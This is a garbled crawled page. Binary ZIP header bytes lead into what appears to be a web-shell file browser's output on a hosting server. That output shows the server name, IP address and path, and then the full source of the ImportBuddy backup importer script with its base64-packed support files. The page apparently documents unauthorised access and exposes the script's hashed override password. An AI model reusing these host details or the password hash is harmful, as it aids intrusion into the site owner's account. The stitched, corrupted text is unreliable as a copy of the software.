PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/mycrownjewelry.kerihosting.com/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : /home/trave494/mycrownjewelry.kerihosting.com/importbuddy.php

<?php
/**
 * ImportBuddy Backup Importer Script
 *
 * ATTENTION: IF YOU ARE READING THIS WHILE TRYING TO LOAD IMPORTBUDDY TO RESTORE YOUR SITE:
 * Your server is not properly handling PHP files. Contact your hosting provider to fix this.
 * Notify them that PHP files are not executing and instead are outputting their code contents.
 *
 * @package BackupBuddy
 */

/**
 * <!-- ImportBuddy Restore & Migration Tool - iThemes.com
 *
 * @version 8.2.8.3 (downloaded 2021-03-22T08:41:26+00:00)
 * @author iThemes.com
 * @developer Dustin Bolton
 * @created Feb 11, 2010
 *
 * ###############################################################################################
 * #                                                                                             #
 * #  THERE ARE NO USER-EDITABLE PORTIONS OF THIS FILE! DO NOT EDIT UNLESS DIRECTED BY SUPPORT!  #
 * #                                                                                             #
 * ###############################################################################################
 */

define( 'PB_PASSWORD', '51b45167bd91338f59e8d7c2534f8e3d' ); // Update this portion with the hashed password to override a forgotten password.

$php_minimum         = '5.1'; // User's PHP must be equal or newer to this version.
$ignore_not_writable = false; // Set to true to ignore is_writable() returning false on this directory. Useful for servers lying about the writable status of the directory.

// Uncomment the following line when 500 Internal Server Error occurs.
// error_reporting( E_ALL );

if ( version_compare( PHP_VERSION, $php_minimum ) < 0 ) {
	die( 'ERROR #9013. See <a href="https://ithemeshelp.zendesk.com/hc/en-us/articles/211132377-Error-Codes-#9013">this page for details</a>. Sorry! PHP version ' . $php_minimum . ' or newer is required for BackupBuddy to properly run. You are running PHP version ' . PHP_VERSION . '.' );
}

global $importbuddy_file;
$importbuddy_file = basename( __FILE__ ); // filename of importbuddy.php (or whatever it is named).

global $wp_version;
$wp_version = '4.4'; // Spoof a version for new wp-db class.
$abspath    = rtrim( dirname( __FILE__ ), '\\/' ) . '/';

define( 'ABSPATH', $abspath );
define( 'WP_CONTENT_DIR', $abspath . 'wp-content' );
define( 'PB_BB_VERSION', '8.2.8.3 (downloaded 2021-03-22T08:41:26+00:00)' );
define( 'DB_CHARSET', 'utf8' ); // Default only. Overriden later if needed. Used by wpdb class.
define( 'DB_COLLATE', '' ); // Default only. Overriden alter if needed. Used by wpdb class.

@date_default_timezone_set( @date_default_timezone_get() ); // Prevents date() from throwing a warning if the default timezone has not been set. Run prior to any file_exists()!

/**
 * Checks the current step.
 *
 * @return int|false  Current step or false when step not found or invalid.
 */
function ib_directory_browsing_allowed() {
	if ( ! isset( $_GET['step'] ) ) {
		return false;
	}

	$step = $_GET['step'];

	if ( ! is_numeric( $step ) ) {
		return false;
	}

	if ( $step < 5 ) {
		return false;
	}

	return $step;
}

// Try to put an index.htm file in place during import to help prevent against file browsing. Only do if not a defined step OR a non-numeric defined step OR a defined numeric step < 5.
if ( ! ib_directory_browsing_allowed() ) {
	if ( ! file_exists( ABSPATH . 'index.htm' ) && ! file_exists( ABSPATH . 'index.php' ) ) {
		@file_put_contents( ABSPATH . 'index.htm', '<html></html>' );
	}
}

// If inside BB install then die. Else unpack importbuddy if needed.
if ( @file_exists( @dirname( @dirname( __FILE__ ) ) . '/backupbuddy.php' ) ) {
	die( '<html>Access Denied</html>' );
}


// Unpack importbuddy files into importbuddy directory. Does this when importbuddy directory does not exist OR if now request GET or POST params are sent (aka the first page only).
if ( ! file_exists( ABSPATH . 'importbuddy' ) || ( ( count( $_GET ) == 0 ) && ( count( $_POST ) == 0 ) ) ) {

	$importbuddy_contents = file_get_contents( __FILE__ );
	if ( false === $importbuddy_contents ) {
		die( 'Error #8494834: Unable to read in importbuddy file `' . __FILE__ . '` for validating.' );
	}

	// Make sure this file is complete and contains all the packed data to the end before proceeding.
	if ( false === strpos( $importbuddy_contents, '###PACKDATA' . ',END' ) ) { // Concat here so we don't false positive on this line when searching.
		die( 'ERROR: It appears your `' . __FILE__ . '` file is incomplete.  It may have not finished downloading or uploading completely.  Please try re-downloading the script from within BackupBuddy in WordPress (do not just copy the file from the plugin directory) and re-uploading it.' );
	}

	// Make sure no leading whitespace. Some servers introduce this to the beginning, breaking authentication due to output before auth headers being sent.
	if ( ltrim( $importbuddy_contents ) !== $importbuddy_contents ) {
		if ( false === ( file_put_contents( __FILE__, ltrim( $importbuddy_contents ) ) ) ) {
			die( 'Error #84394834: Your importbuddy file `' . __FILE__ . '` file contains leading whitespace/newslines and the script could not re-write it to fix it for you (possibly due to permissions). Please re-download it or manually edit to make sure it begins with <?php with no spaces or newlines/enters before it.' );
		} else { // Re-wrote file.
			sleep( 1 );
			die( '<meta http-equiv="refresh" content="1">Refreshing... Removed unexpected leading whitespace found in importbuddy.php file.' );
		}
	}

	$importbuddy_contents = '';

	$unpack_importbuddy = true;
	if ( file_exists( ABSPATH . 'importbuddy' ) ) { // ImportBuddy directory already exists. We may need to re-unpack it if this file has been updated since.
		$signature = @file_get_contents( ABSPATH . 'importbuddy/_signature.php' );
		$signature = trim( str_replace( '<?php die(); ?>', '', $signature ) );
		if ( md5( PB_BB_VERSION . PB_PASSWORD ) != $signature ) { // Signature mismatch. We will need to delete and unpack again to update.
			// echo '<!-- unlinking existing importbuddy directory. -->'; 5.1.0.10: Broke causing headers already sent error due to auth.
			recursive_unlink( ABSPATH . 'importbuddy' );
		} else {
			$unpack_importbuddy = false;
		}
	}
	if ( true === $unpack_importbuddy ) {
		unpack_importbuddy( $ignore_not_writable );
		@file_put_contents( ABSPATH . 'importbuddy/_signature.php', '<?php die(); ?>' . md5( PB_BB_VERSION . PB_PASSWORD ) ); // Create a hash of this ImportBuddy version & password. On accessing importbuddy.php's authentication page all importbuddy files will be freshly unpacked if the importbuddy.php version and/or password mismatches to allow users to just replace importbuddy.php to upgrade ImportBuddy or password.
	}
}

// Database wrapper.
require_once ABSPATH . 'importbuddy/classes/wp-db.php';
global $wpdb;

if ( isset( $_GET['api'] ) && '' != $_GET['api'] ) { // API ACCESS.
	if ( 'ping' === $_GET['api'] ) {
		die( 'pong' );
	} else {
		die( 'Unknown API access action.' );
	}
} else { // NORMAL ACCESS.
	if ( ! file_exists( ABSPATH . 'importbuddy/init.php' ) ) {
		die( 'Error: Unable to find file `' . ABSPATH . 'importbuddy/init.php`. Make sure that you downloaded this script from within BackupBuddy. Copying importbuddy files from inside the plugin directory is not sufficient as many file additions are made on demand.' );
	} else {
		require_once ABSPATH . 'importbuddy/init.php';
	}
}

/**
 * Recursively delete files.
 *
 * @param string $path  Path to start deleting.
 *
 * @return bool  If successful.
 */
function recursive_unlink( $path ) {
	return is_file( $path ) ? @unlink( $path ) : array_map( 'recursive_unlink', glob( $path . '/*' ) ) == @rmdir( $path );
}

/**
 * Unpacks required files encoded in importbuddy.php into stand-alone files.
 *
 * @param bool $ignore_not_writable  Ignore not writeable errors.
 */
function unpack_importbuddy( $ignore_not_writable = false ) {
	if ( ! is_writable( ABSPATH ) && false === $ignore_not_writable ) {
		echo 'Error #224834. This directory, `' . ABSPATH . '`, is not write enabled according to the server. Please verify proper write permissions to continue. If this persists, contact your web hosting provider and tell them that is_writable("' . ABSPATH . '") returns FALSE in PHP.';
		die();
	} else {
		$unpack_file = '';

		$handle = @fopen( __FILE__, 'r' );
		if ( $handle ) {
			while ( ( $buffer = fgets( $handle ) ) !== false ) {
				if ( substr( $buffer, 0, 11 ) == '###PACKDATA' ) {
					$packdata_commands = explode( ',', trim( $buffer ) );
					array_shift( $packdata_commands );

					if ( 'BEGIN' === $packdata_commands[0] ) {
						// Start packed data.
					} elseif ( 'FILE_START' === $packdata_commands[0] ) {
						$unpack_file = $packdata_commands[2];
					} elseif ( 'FILE_END' === $packdata_commands[0] ) {
						$unpack_file = '';
					} elseif ( 'END' === $packdata_commands[0] ) {
						return;
					}
				} else {
					if ( '' != $unpack_file ) {
						if ( ! is_dir( dirname( ABSPATH . $unpack_file ) ) ) {
							$mkdir_result = mkdir( dirname( ABSPATH . $unpack_file ), 0777, true ); // second param makes recursive.
							if ( false === $mkdir_result ) {
								echo 'Error #54455. Unable to mkdir `' . dirname( ABSPATH . $unpack_file ) . '`<br>';
							}
						}
						$fileput_result = file_put_contents( ABSPATH . $unpack_file, base64_decode( $buffer ) );
						if ( false === $fileput_result ) {
							echo 'Error #65656. Unable to put file contents to `' . ABSPATH . $unpack_file . '`.<br>';
						}
					}
				}
			}
			if ( ! feof( $handle ) ) {
				echo 'Error: unexpected fgets() fail.<br>';
			}
			fclose( $handle );
		} else {
			echo 'ERROR #54455: Unable to open `' . __FILE__ . '` file for reading in packaged data.<br>';
		}
	}
}

die();

/*
###PACKDATA,BEGIN
###PACKDATA,FILE_START,/_importbuddy/importbuddy/.htaccess,importbuddy/.htaccess

###PACKDATA,FILE_END,/_importbuddy/importbuddy/.htaccess,importbuddy/.htaccess
###PACKDATA,FILE_START,/_importbuddy/importbuddy/importbuddy-hooks.php,importbuddy/importbuddy-hooks.php
PD9waHAKLyoqCiAqIFRoaXMgaXMgYSBwb29yIG1hbidzIGltcGxlbWVudGF0aW9uIG9mIFdQJ3MgaG9va3MuCiAqCiAqIEl0IGRvZXNuJ3QgYWxsb3cgeW91IHRvIGFkZCBtdWx0aXBsZSBob29rcyB0byB0aGUgYWN0aW9uLiBPbmx5IG9uZS4KICogTm90IG9mZmljaWFsbHkgc3VwcG9ydGVkIHlldC4KICovCgovKioKICogTXVjaCBsaWtlIFdQIEFjdGlvbnMuIFBhc3NlcyB0byBmaWx0ZXIuIERvZXNuJ3QgcmV0dXJuIGRhdGEuCiAqCiAqIEBwYXJhbSAgc3RyaW5nICAkYWN0aW9uICBTbHVnLiBJbnQgdGhpcyBpbXBsZW1lbnRhdGlvbiAtIGl0IHdpbCBldmVudHVhbGx5IGJlIGFwcGVuZGVkIHRvIGEgZnVuY3Rpb24gbmFtZQogKiBAcGFyYW0gIGFycmF5ICAgJHBhcmFtcyAgT3B0aW9uYWwgZGF0YSB0byB3b3JrIHdpdGgKICovCmZ1bmN0aW9uIGl0X2J1Yl9pbXBvcnRidWRkeV9kb19hY3Rpb24oICRhY3Rpb24sICRwYXJhbXMgPSAnJyApIHsKCWl0X2J1Yl9pbXBvcnRidWRkeV9hcHBseV9maWx0ZXJzKCAkYWN0aW9uLCAkcGFyYW1zICk7Cn0KCi8qKgogKiBNdWNoIGxpa2UgV1AgRmlsdGVycy4KICoKICogT3VyIGltcGxlbWVudGF0aW9uIGRvZXNuJ3QgYWN0dWFsbHkgc3VwcG9ydCBhZGRpbmcgZmlsdGVycy4gVGhleSdyZSBjdXJyZW50bHkgYWxsIGhhcmQgY29kZWQuCiAqCiAqIEBwYXJhbSAgc3RyaW5nICAkYWN0aW9uICBTbHVnLiBJbnQgdGhpcyBpbXBsZW1lbnRhdGlvbiAtIGl0IHdpbCBldmVudHVhbGx5IGJlIGFwcGVuZGVkIHRvIGEgZnVuY3Rpb24gbmFtZQogKiBAcGFyYW0gIGFycmF5ICAgJHBhcmFtcyAgT3B0aW9uYWwgZGF0YSB0byB3b3JrIHdpdGgKICoKICogQHJldHVybiBtaXhlZAogKi8KZnVuY3Rpb24gaXRfYnViX2ltcG9ydGJ1ZGR5X2FwcGx5X2ZpbHRlcnMoICRhY3Rpb24sICRwYXJhbXMgPSBhcnJheSgpICkgewoJLy8gSWYgZHJvcGluIGRvZXNuJ3QgZXhpc3QsIGFib3J0CglpZiAoICEgaXRfYnViX2ltcG9ydGJ1ZGR5X2xvYWRfZHJvcGluKCkgKSB7CgkJcmV0dXJuICRwYXJhbXM7Cgl9CgoJLy8gSWYgYWN0aW9uIGV4aXN0cywgZG8gaXQuIElmIG5vdCwgYWJvcnQKCWlmICggaXNfY2FsbGFibGUoICdpdF9idWJfaW1wb3J0YnVkZHlfaG9va18nIC4gJGFjdGlvbiApICkgewoJCXJldHVybiBjYWxsX3VzZXJfZnVuYyggJ2l0X2J1Yl9pbXBvcnRidWRkeV9ob29rXycgLiAkYWN0aW9uLCAkcGFyYW1zICk7Cgl9CgoJcmV0dXJuICRwYXJhbXM7Cn0KCi8qKgogKiBMb2FkcyB0aGUgZHJvcGluIGZpbGUgaWYgaXQgZXhpc3RzIG9uZSBkaXJlY3RvcnkgdXAgZnJvbSByb290IG9mIGltcG9ydAogKgogKiBAcmV0dXJuIG51bGwKICovCmZ1bmN0aW9uIGl0X2J1Yl9pbXBvcnRidWRkeV9sb2FkX2Ryb3BpbigpIHsKCS8vIFBvc3NpYmxlIGxvY2F0aW9ucy4KCSRsb2NhdGlvbnMgPSBhcnJheSgKCQlkaXJuYW1lKCBBQlNQQVRIICksCgkJZGlybmFtZSggZGlybmFtZSggQUJTUEFUSCApICksCgkpOwoKCWZvcmVhY2ggKCAkbG9jYXRpb25zIGFzICRsb2NhdGlvbiApIHsKCQlpZiAoICEgQGlzX3JlYWRhYmxlKCAkbG9jYXRpb24gLiAnL2l0LWJ1Yi1pbXBvcnRidWRkeS1ob29rcy5waHAnICkgKSB7CgkJCWNvbnRpbnVlOwoJCX0gZWxzZSB7CgkJCXJlcXVpcmVfb25jZSAkbG9jYXRpb24gLiAnL2l0LWJ1Yi1pbXBvcnRidWRkeS1ob29rcy5waHAnOwoJCQlyZXR1cm4gdHJ1ZTsKCQl9Cgl9CglyZXR1cm4gZmFsc2U7Cn0K
###PACKDATA,FILE_END,/_importbuddy/importbuddy/importbuddy-hooks.php,importbuddy/importbuddy-hooks.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/index.htm,importbuddy/index.htm
PGh0bWw+PC9odG1sPg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/index.htm,importbuddy/index.htm
###PACKDATA,FILE_START,/_importbuddy/importbuddy/index.html,importbuddy/index.html
PGh0bWw+PC9odG1sPg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/index.html,importbuddy/index.html
###PACKDATA,FILE_START,/_importbuddy/importbuddy/index.php,importbuddy/index.php
PD9waHAKLyoqCiAqIFNpbGVuY2UgaXMgZ29sZGVuLgogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8K
###PACKDATA,FILE_END,/_importbuddy/importbuddy/index.php,importbuddy/index.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/init.php,importbuddy/init.php
PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBJbXBvcnRCdWRkeQogKiBQbHVnaW4gVVJJOiBodHRwOi8vaXRoZW1lcy5jb20vCiAqIERlc2NyaXB0aW9uOiBCYWNrdXBCdWRkeSBJbXBvcnRlcgogKgogKiBAc2luY2UgMS4wLjIKICogQGF1dGhvciBEdXN0aW4gQm9sdG9uCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqCiAqIEluc3RhbGxhdGlvbjoKICoKICogMS4gRG93bmxvYWQgYW5kIHVuemlwIHRoZSBsYXRlc3QgcmVsZWFzZSB6aXAgZmlsZS4KICogMi4gSWYgeW91IHVzZSB0aGUgV29yZFByZXNzIHBsdWdpbiB1cGxvYWRlciB0byBpbnN0YWxsIHRoaXMgcGx1Z2luIHNraXAgdG8gc3RlcCA0LgogKiAzLiBVcGxvYWQgdGhlIGVudGlyZSBwbHVnaW4gZGlyZWN0b3J5IHRvIHlvdXIgYC93cC1jb250ZW50L3BsdWdpbnMvYCBkaXJlY3RvcnkuCiAqIDQuIEFjdGl2YXRlIHRoZSBwbHVnaW4gdGhyb3VnaCB0aGUgJ1BsdWdpbnMnIG1lbnUgaW4gV29yZFByZXNzIEFkbWluaXN0cmF0aW9uLgogKgogKiBVc2FnZToKICoKICogMS4gTmF2aWdhdGUgdG8gdGhlIG5ldyBwbHVnaW4gbWVudSBpbiB0aGUgV29yZFByZXNzIEFkbWluaXN0cmF0aW9uIFBhbmVsLgogKgogKiBOT1RFOiBETyBOT1QgRURJVCBUSElTIE9SIEFOWSBPVEhFUiBQTFVHSU4gRklMRVMuIE5PIFVTRVItQ09ORklHVVJBQkxFIE9QVElPTlMgV0lUSElOLgogKi8KCmVycm9yX3JlcG9ydGluZyggRV9FUlJPUiB8IEVfV0FSTklORyB8IEVfUEFSU0UgfCBFX05PVElDRSApOyAvLyBISUdILgoKZGVmaW5lKCAnUEJfU1RBTkRBTE9ORScsIHRydWUgKTsKZGVmaW5lKCAnUEJfSU1QT1JUQlVERFknLCB0cnVlICk7CgpyZXF1aXJlX29uY2UgQUJTUEFUSCAuICdpbXBvcnRidWRkeS9pbXBvcnRidWRkeS1ob29rcy5waHAnOwppdF9idWJfaW1wb3J0YnVkZHlfZG9fYWN0aW9uKCAnaW5pdCcgKTsKCiRwbHVnaW5idWRkeV9zZXR0aW5ncyA9IGl0X2J1Yl9pbXBvcnRidWRkeV9hcHBseV9maWx0ZXJzKCAncGx1Z2luYnVkZHlfc2V0dGluZ3MnLCBhcnJheSgKCSdzbHVnJyAgICAgICAgICAgICAgICAgICAgPT4gJ2JhY2t1cGJ1ZGR5JywKCSdwaHBfbWluaW11bScgICAgICAgICAgICAgPT4gJzUuMicsCgknc2VyaWVzJyAgICAgICAgICAgICAgICAgID0+ICcnLAoJJ3JlbW90ZV9hcGknICAgICAgICAgICAgICA9PiAnMCcsIC8vIFNldCB0byAxIGJ5IHN0YXRlIGZvciBkZXBsb3ltZW50cy4KCSdkZWZhdWx0X3N0YXRlX292ZXJyaWRlcycgPT4gYXJyYXkoKSwgLy8gRGVmYXVsdCBzdGF0ZSB0byBvdmVycmlkZSB0aGUgbWFpbiBkZWZhdWx0cy4gR29vZCBmb3IgYXV0b21hdGluZyBpbXBvcnRzLiBBcHBsaWVkIG92ZXIgZGVmYXVsdHMgZHVyaW5nIGNvbnN0cnVjdGlvbiBvZiByZXN0b3JlIGNsYXNzLgoJJ2RlZmF1bHRfb3B0aW9ucycgICAgICAgICA9PiBhcnJheSgKCQknYmJfdmVyc2lvbicgICAgICAgPT4gUEJfQkJfVkVSU0lPTiwgIC8vIEJCIHZlcnNpb24gdG8gYmUgZmlsbGVkIGluIG9uIGRvd25sb2FkLgoJCSdiYWNrdXBfZGlyZWN0b3J5JyA9PiAnJywKCQknbG9nX2xldmVsJyAgICAgICAgPT4gMCwgLy8gTm8gbG9uZ2VyIHVzaW5nIHRoaXMgbWV0aG9kIGZvciBoYW5kbGluZyBsb2dnaW5nLiBzdGF0dXMoKSBtZXRob2QgYWx3YXlzIGxvZ3MgYWxsIGlmIGltcG9ydGJ1ZGR5LgoJKSwKCSdtb2R1bGVzJyAgICAgICAgICAgICAgICAgPT4gYXJyYXkoCgkJJ3VwZGF0ZXInICAgID0+IGZhbHNlLCAgICAgICAgICAgICAgICAgICAgICAvLyBMb2FkIFBsdWdpbkJ1ZGR5IGF1dG9tYXRpYyB1cGdyYWRlcy4KCQknZmlsZXN5c3RlbScgPT4gdHJ1ZSwgICAgICAgICAgICAgICAgICAgICAgIC8vIEZpbGUgc3lzdGVtIGhlbHBlciBtZXRob2RzLgoJCSdmb3JtYXQnICAgICA9PiB0cnVlLCAgICAgICAgICAgICAgICAgICAgICAgLy8gVGV4dCAvIGRhdGEgZm9ybWF0dGluZyBoZWxwZXIgbWV0aG9kcy4KCSksCikgKTsKCi8vICRzZXR0aW5ncyBpcyBleHBlY3RlZCB0byBiZSBwb3B1bGF0ZWQgcHJpb3IgdG8gaW5jbHVkaW5nIFBsdWdpbkJ1ZGR5IGZyYW1ld29yay4gRG8gbm90IGVkaXQgYmVsb3cuCnJlcXVpcmUgZGlybmFtZSggX19GSUxFX18gKSAuICcvcGx1Z2luYnVkZHkvX3BsdWdpbmJ1ZGR5LnBocCc7Cg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/init.php,importbuddy/init.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/init_admin.php,importbuddy/init_admin.php
PD9waHAKcGJfYmFja3VwYnVkZHk6OmxvYWQoKTsKCi8vICoqKioqKioqKiogQUNUSU9OUyAoYWRtaW4pICoqKioqKioqKioKCgoKLy8gKioqKioqKioqKiBBSkFYIChhZG1pbikgKioqKioqKioqKgoKCgovLyAqKioqKioqKioqIERBU0hCT0FSRCAoYWRtaW4pICoqKioqKioqKioKCgoKLy8gKioqKioqKioqKiBGSUxURVJTIChhZG1pbikgKioqKioqKioqKgoKCgovLyAqKioqKioqKioqIFBBR0VTIChhZG1pbikgKioqKioqKioqKgoKCgovLyAqKioqKioqKioqIExJQlJBUklFUyAmIENMQVNTRVMgKGFkbWluKSAqKioqKioqKioqCnJlcXVpcmVfb25jZSggJ2NsYXNzZXMvY29yZS5waHAnICk7CgpyZXF1aXJlX29uY2UoICdjbGFzc2VzL2ltcG9ydC5waHAnICk7CnBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1snaW1wb3J0J10gPSBuZXcgcGJfYmFja3VwYnVkZHlfaW1wb3J0KCk7CgoKLy8gKioqKioqKioqKiBPVEhFUiAoYWRtaW4pICoqKioqKioqKioKCgo=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/init_admin.php,importbuddy/init_admin.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/init_global.php,importbuddy/init_global.php
PD9waHAKLyoqCiAqIEluaXQgR2xvYmFsCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqLwoKaWYgKCAhIGNsYXNzX2V4aXN0cyggJ2JhY2t1cGJ1ZGR5X2NvcmUnICkgKSB7CglyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2NsYXNzZXMvY29yZS5waHAnOwp9CgpyZXF1aXJlX29uY2UgQUJTUEFUSCAuICdpbXBvcnRidWRkeS9jbGFzc2VzL2F1dGgucGhwJzsKCi8vIElmIHZlcmlmaWNhdGlvbiBjb2RlIHBhc3NlZCB0aGVuIGF1dGhlbnRpY2F0ZSBlYXJseS4KaWYgKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2Rpc3BsYXlfbW9kZScgKSA9PSAnZW1iZWQnICkgewoJQXV0aDo6cmVxdWlyZV9hdXRoZW50aWNhdGlvbigpOwp9CgpnbG9iYWwgJGltcG9ydGJ1ZGR5X2ZpbGU7CiRpbXBvcnRfc2VyaWFsID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0X3NlcmlhbF9mcm9tX2ZpbGUoICRpbXBvcnRidWRkeV9maWxlICk7CgppZiAoICcnICE9ICRpbXBvcnRfc2VyaWFsICkgeyAvLyBpbXBvcnRidWRkeSBoYXMgYSBzZXJpYWwuIExvb2sgZm9yIGEgZGVmYXVsdCBzdGF0ZSBmaWxlIHRoYXQgbWF0Y2hlcy4KCXBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbG9nX3NlcmlhbCddID0gJGltcG9ydF9zZXJpYWw7CglwYl9iYWNrdXBidWRkeTo6c2F2ZSgpOwoKCWlmICggZmlsZV9leGlzdHMoIEFCU1BBVEggLiAnaW1wb3J0YnVkZHktJyAuICRpbXBvcnRfc2VyaWFsIC4gJy1zdGF0ZS5waHAnICkgKSB7IC8vIERlZmF1bHQgc3RhdGUgZXhpc3RzLgoKCQkvLyBJZiBhbiBvdmVycmlkaW5nIHN0YXRlIGZpbGUgZXhpc3RzIHRoZW4gbG9hZCBpdCBvdmVyIHRoZSBjdXJyZW50IHN0YXRlLgoJCSRvdmVycmlkZV9zdGF0ZV9maWxlID0gQUJTUEFUSCAuICdpbXBvcnRidWRkeS0nIC4gJGltcG9ydF9zZXJpYWwgLiAnLXN0YXRlLnBocCc7CgkJaWYgKCBmaWxlX2V4aXN0cyggJG92ZXJyaWRlX3N0YXRlX2ZpbGUgKSApIHsKCQkJJHN0YXRlZGF0YSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCAkb3ZlcnJpZGVfc3RhdGVfZmlsZSApOwoJCQkvLyBTa2lwIGZpcnN0IGxpbmUuCgkJCSRzZWNvbmRfbGluZV9wb3MgPSBzdHJwb3MoICRzdGF0ZWRhdGEsICJcbiIgKSArIDE7CgkJCSRzdGF0ZWRhdGEgICAgICAgPSBzdWJzdHIoICRzdGF0ZWRhdGEsICRzZWNvbmRfbGluZV9wb3MgKTsKCQkJLy8gRGVjb2RlIGJhY2sgaW50byBhbiBhcnJheS4KCQkJJHN0YXRlZGF0YSA9IGpzb25fZGVjb2RlKCBiYXNlNjRfZGVjb2RlKCAkc3RhdGVkYXRhICksIHRydWUgKTsKCQkJaWYgKCBpc19hcnJheSggJHN0YXRlZGF0YSApICkgeyAvLyBWYWxpZCBjb250ZW50LgoJCQkJLy8gTm9ybWFsaXplIFVSTHMuCgkJCQlpZiAoIGlzc2V0KCAkc3RhdGVkYXRhWydzaXRldXJsJ10gKSApIHsKCQkJCQkkc3RhdGVkYXRhWydzaXRldXJsJ10gPSBydHJpbSggJHN0YXRlZGF0YVsnc2l0ZXVybCddLCAnLycgKTsKCQkJCX0KCQkJCWlmICggaXNzZXQoICRzdGF0ZWRhdGFbJ2hvbWV1cmwnXSApICkgewoJCQkJCSRzdGF0ZWRhdGFbJ2hvbWV1cmwnXSA9IHJ0cmltKCAkc3RhdGVkYXRhWydob21ldXJsJ10sICcvJyApOwoJCQkJfQoKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0xvYWRlZCBkZWZhdWx0IHN0YXRlIG92ZXJyaWRlIHN0YXRlIGZpbGUgZGF0YSBhbmQgZ2F2ZSBpdCBwcmlvcml0eSBvdmVyIGN1cnJlbnQgc3RhdGUuIEZpbGU6IGAnIC4gJG92ZXJyaWRlX3N0YXRlX2ZpbGUgLiAnYC4nICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2RlZmF1bHRfc3RhdGVfb3ZlcnJpZGVzJ10gPSAkc3RhdGVkYXRhOwoJCQkJcGJfYmFja3VwYnVkZHk6OnNhdmUoKTsKCQkJfQoJCX0KCX0gZWxzZSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnT3ZlcnJpZGUgc3RhdGUgZmlsZSBub3QgZm91bmQgYXQgYCcgLiAkb3ZlcnJpZGVfc3RhdGVfZmlsZSAuICdgLiBTa2lwcGluZy4nICk7Cgl9Cn0KCi8vIEhhbmRsZSBBUEkgY2FsbHMgaWYgYmFja3VwYnVkZHlfYXBpX2tleSBpcyBwb3N0ZWQuIElmIGFueXRoaW5nIGZhaWxzIHNlY3VyaXR5IGNoZWNrcyBwcmV0ZW5kIG5vdGhpbmcgYXQgYWxsIGhhcHBlbmVkLgppZiAoICcnICE9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ2JhY2t1cGJ1ZGR5X2FwaV9rZXknICkgKSB7IC8vIFJlbW90ZSBBUEkgYWNjZXNzLgoJaWYgKCBpc3NldCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydyZW1vdGVfYXBpJ11bJ2tleXMnXSApICYmICggY291bnQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncmVtb3RlX2FwaSddWydrZXlzJ10gKSA+IDAgKSApIHsgLy8gUmVtb3RlIEFQSSBlbmFibGVkIGFuZCAxIG9yIG1vcmUga2V5cyBkZWZpbmVkLgoJCWluY2x1ZGUgJ2NsYXNzZXMvcmVtb3RlX2FwaS5waHAnOwoJCWJhY2t1cGJ1ZGR5X3JlbW90ZV9hcGk6OmxvY2FsQ2FsbCggdHJ1ZSwgdHJ1ZSApOwoJCWRpZSgpOwoJfQp9CgppZiAoICdlbWJlZCcgPT09IHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAnZGlzcGxheV9tb2RlJyApICkgewoJcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydkaXNwbGF5X21vZGUnXSA9ICdlbWJlZCc7CglwYl9iYWNrdXBidWRkeTo6c2F2ZSgpOwp9Cg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/init_global.php,importbuddy/init_global.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/license.txt,importbuddy/license.txt
CQkgICAgR05VIEdFTkVSQUwgUFVCTElDIExJQ0VOU0UKCQkgICAgICAgVmVyc2lvbiAyLCBKdW5lIDE5OTEKCiBDb3B5cmlnaHQgKEMpIDE5ODksIDE5OTEgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuIAogICAgICAgICAgICAgIDUxIEZyYW5rbGluIFN0LCBGaWZ0aCBGbG9vciwgQm9zdG9uLCBNQSAwMjExMCwgVVNBCgogRXZlcnlvbmUgaXMgcGVybWl0dGVkIHRvIGNvcHkgYW5kIGRpc3RyaWJ1dGUgdmVyYmF0aW0gY29waWVzCiBvZiB0aGlzIGxpY2Vuc2UgZG9jdW1lbnQsIGJ1dCBjaGFuZ2luZyBpdCBpcyBub3QgYWxsb3dlZC4KCgkJCSAgICBQcmVhbWJsZQoKICBUaGUgbGljZW5zZXMgZm9yIG1vc3Qgc29mdHdhcmUgYXJlIGRlc2lnbmVkIHRvIHRha2UgYXdheSB5b3VyCmZyZWVkb20gdG8gc2hhcmUgYW5kIGNoYW5nZSBpdC4gIEJ5IGNvbnRyYXN0LCB0aGUgR05VIEdlbmVyYWwgUHVibGljCkxpY2Vuc2UgaXMgaW50ZW5kZWQgdG8gZ3VhcmFudGVlIHlvdXIgZnJlZWRvbSB0byBzaGFyZSBhbmQgY2hhbmdlIGZyZWUKc29mdHdhcmUtLXRvIG1ha2Ugc3VyZSB